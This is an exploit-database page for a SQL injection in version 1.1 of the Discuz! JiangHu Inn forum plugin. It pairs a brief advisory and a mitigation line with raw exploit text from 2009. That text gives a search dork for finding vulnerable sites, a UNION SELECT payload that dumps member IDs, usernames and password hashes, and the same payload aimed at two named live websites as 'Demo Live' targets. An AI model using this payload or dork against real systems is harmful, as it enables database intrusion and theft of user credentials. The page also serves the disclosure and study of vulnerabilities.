Discuz! Plugin JiangHu - exploit.company

vendor:

Discuz! Plugin JiangHu Inn

by:

ZhaoHuAn

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Discuz! Plugin JiangHu Inn

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: YES

Related CWE: N/A

CPE: a:discuz:discuz_plugin_jianghu_inn

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Discuz! Plugin JiangHu <= 1.1 Sql injection Vulnerability

Discuz! Plugin JiangHu version 1.1 is vulnerable to a SQL injection vulnerability. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable server. This can allow the attacker to gain access to sensitive information such as usernames and passwords stored in the database.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

=========================================================
Discuz! Plugin JiangHu <= 1.1 Sql injection Vulnerability
=========================================================

========================[Author]=========================                   

 [+] Founded 	: ZhaoHuAn				     
 [+] Contact	: ZhengXing[at]shandagames[dot]com	         
 [+] Blog	: http://www.patching.net/zhaohuan/	         
 [+] Date	: Feb, 9th 2009	 
 [+] Update	: Sep, 1th 2009	
								 
========================[Soft Info]======================		 
								 
Software: Discuz! Plugin JiangHu Inn		         
Version	: 1.1					                 
Vendor	: http://www.discuz.com
d0rk    : inurl:forummission.php			             	 



[-] Exploit:
[+] and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--

[-] SqlI PoC:
[+] http://target/[path]/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--

[+] Demo Live:
[-] http://www.palslp.com/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--

[-] http://bbs.sunspals.com/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--


/---------------------------------------------www.zhaohuan.net-------------------------------------------------\  

                                            Greetz : Snda Security Team
                                                    & Normal is boring - -!

\--------------------------------------------------------------------------------------------------------------/

# milw0rm.com [2009-09-02]